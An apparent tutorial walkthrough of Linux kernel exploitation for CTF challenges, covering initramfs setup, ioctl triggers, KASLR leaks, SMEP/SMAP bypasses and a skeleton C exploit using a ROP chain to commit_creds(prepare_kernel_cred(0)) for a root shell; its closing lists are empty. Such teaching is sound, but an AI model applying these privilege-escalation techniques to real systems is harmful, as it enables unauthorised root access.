Linux kernel pwn — walkthrough

Linux kernel pwn — walkthrough

TL;DR: Kernel pwn = exploit a vulnerable kernel module / syscall to escalate from user to root. End-to-end recipe for a typical CTF kernel challenge: (1) extract the kernel + initramfs, (2) write a userland trigger to reach the buggy path, (3) leak kernel address (defeat KASLR), (4) defeat SMEP/SMAP/KPTI, (5) overwrite credentials struct (commit_creds(prepare_kernel_cred(0))) or ROP to it, (6) drop to shell. Companion to kernel-syscall-source-review, linux-bof-walkthrough-end-to-end.

Setup — what CTFs typically give you

  • bzImage — compressed kernel image.
  • initramfs.cpio.gz / rootfs.img — userland filesystem.
  • start.sh or run.sh — qemu invocation.
  • A vulnerable kernel module (.ko) loaded at boot.
  • Sometimes the module source; sometimes you reverse-engineer it.
1
2
3
4
5
# Extract initramfs
mkdir extract && cd extract
zcat ../initramfs.cpio.gz | cpio -idmv
ls -la         # browse the rootfs
cat init       # see what loads — find the vulnerable module

Modify init to drop you a shell

Most CTF initramfs use a non-root user ctf. Edit init to also spawn an interactive root shell if the bug doesn’t already give you one — useful for development.

After editing:

1
find . | cpio -o -H newc | gzip > ../initramfs.cpio.gz

Boot in qemu

1
2
3
4
5
6
7
qemu-system-x86_64 \
  -kernel bzImage \
  -initrd initramfs.cpio.gz \
  -append "console=ttyS0 nokaslr quiet" \
  -nographic \
  -monitor /dev/null \
  -m 512M

Disable KASLR initially with nokaslr while you develop the exploit; re-enable to confirm your leak works.

Identify the bug

Common CTF bug shapes:

  1. Stack BOF in an IOCTL handler (copy_from_user with attacker-controlled length).
  2. Heap UAF (allocate object, free, allocate another with attacker control, use the first pointer).
  3. Type confusion via ioctl command codes.
  4. Race condition (TOCTOU between check and use).
  5. Integer overflow in size calc.
  6. Out-of-bounds read for info-leak.
  7. NULL-pointer dereference where mmap-at-0 is allowed.

See kernel-syscall-source-review for the source-side patterns.

Step 1 — userland trigger

Open the device, send the IOCTL.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <fcntl.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <stdio.h>

#define DEV "/dev/vulnerable"
#define MAGIC _IOWR('V', 0x10, char[256])

int main() {
    int fd = open(DEV, O_RDWR);
    if (fd < 0) { perror("open"); return 1; }
    char buf[1024];
    memset(buf, 'A', sizeof(buf));
    int r = ioctl(fd, MAGIC, buf);
    printf("ioctl returned %d\n", r);
    return 0;
}

Compile statically (initramfs may lack libc):

1
musl-gcc -static -o trigger trigger.c

Push to initramfs and re-pack.

Step 2 — info leak (defeat KASLR)

KASLR randomises the kernel base by 9 bits (entropy ~2^9 → ~512 possible bases). You need a leak.

Common sources:

  • dmesg leaks kernel addresses (sometimes available to unprivileged users; configurable via dmesg_restrict).
  • The vulnerable IOCTL itself returns kernel pointers in response data.
  • Reading uninitialised kernel memory exposed via the bug.

Once a kernel pointer leaked, compute the base:

1
unsigned long kbase = leaked - KNOWN_OFFSET_FROM_BASE_OF_FUNCTION;

Step 3 — SMEP / SMAP / KPTI

Mitigation What it does Bypass
SMEP kernel can’t execute usermode pages ROP in kernel space
SMAP kernel can’t access usermode data physmap / heap-spray with payload
KPTI (Meltdown) usermode page tables omit kernel not directly an exploit barrier
KASLR randomised base info leak
KCFI indirect-call control-flow integrity aligned valid targets
FG-KASLR function-granular KASLR broader info-leak needed

For the classic 32/64-bit no-KCFI scenario:

  • SMEP+SMAP: build a ROP chain entirely from kernel gadgets that calls commit_creds(prepare_kernel_cred(0)) then returns to a function that restores user-mode state cleanly.

Step 4 — the “commit_creds” trick

The canonical Linux kernel root primitive: call commit_creds(prepare_kernel_cred(0)) from kernel context. This replaces the current task’s credentials with root.

Function addresses (relative to kernel base):

1
2
unsigned long prepare_kernel_cred = kbase + OFFSET_PKC;
unsigned long commit_creds         = kbase + OFFSET_CC;

(Offsets come from a kernel symbol table — /proc/kallsyms if kptr_restrict=0, or from the unstripped bzImage.)

Step 5 — return to userland cleanly

After commit_creds, you need to return to userland with the new credentials. The usual chain:

1
2
ROP: swapgs; iretq;
stack: user RIP, user CS, user RFLAGS, user RSP, user SS

Save these registers in a userland function (save_state() with inline asm reading CS/SS/RFLAGS/RSP/RIP). After the kernel ROP, iretq returns to your saved userland frame — now with root privileges.

Skeleton kernel exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <string.h>

unsigned long user_cs, user_ss, user_rsp, user_rflags;

void save_state() {
    __asm__ volatile (
        "movq %%cs,   %0;"
        "movq %%ss,   %1;"
        "movq %%rsp,  %2;"
        "pushfq; popq %3;"
        : "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags));
}

void shell() { system("/bin/sh"); }

int main() {
    save_state();

    // 1. Get leak via vulnerable IOCTL.
    unsigned long kbase = leak_kbase();

    unsigned long commit_creds        = kbase + OFFSET_COMMIT_CREDS;
    unsigned long prepare_kernel_cred = kbase + OFFSET_PREPARE_KERNEL_CRED;
    unsigned long swapgs_iretq        = kbase + OFFSET_SWAPGS_IRETQ;
    unsigned long pop_rdi             = kbase + OFFSET_POP_RDI;

    // 2. Build ROP chain.
    unsigned long *chain = malloc(0x100);
    int i = 0;
    chain[i++] = pop_rdi;
    chain[i++] = 0;
    chain[i++] = prepare_kernel_cred;
    // ... pop_rdi; rax; commit_creds; swapgs_iretq; user_rip; user_cs; user_rflags; user_rsp; user_ss

    // 3. Trigger bug; overwrite saved RIP with chain start.
    trigger_with_chain(chain);

    // 4. We never get here; iretq lands at shell() with root.
    return 0;
}

Practice progression

  1. HackSysTeam HEVD-equivalent on Linux (any deliberately vulnerable kmod).
  2. pwn.college kernel security module.
  3. kernelCTF (Google’s program).
  4. Retired CTF kernel challenges — picoCTF Kernel series, RealWorldCTF, DefCon CTF.

Tools

  • pwntools for userland trigger / payload encoding.
  • ROPgadget / ropper for finding gadgets in vmlinux.
  • extract-vmlinux script — extracts uncompressed kernel from bzImage.
  • GDB + qemu — set up with -s -S and gdb vmlinux to break on start_kernel.

Real-world

Kernel pwn skills transfer to:

References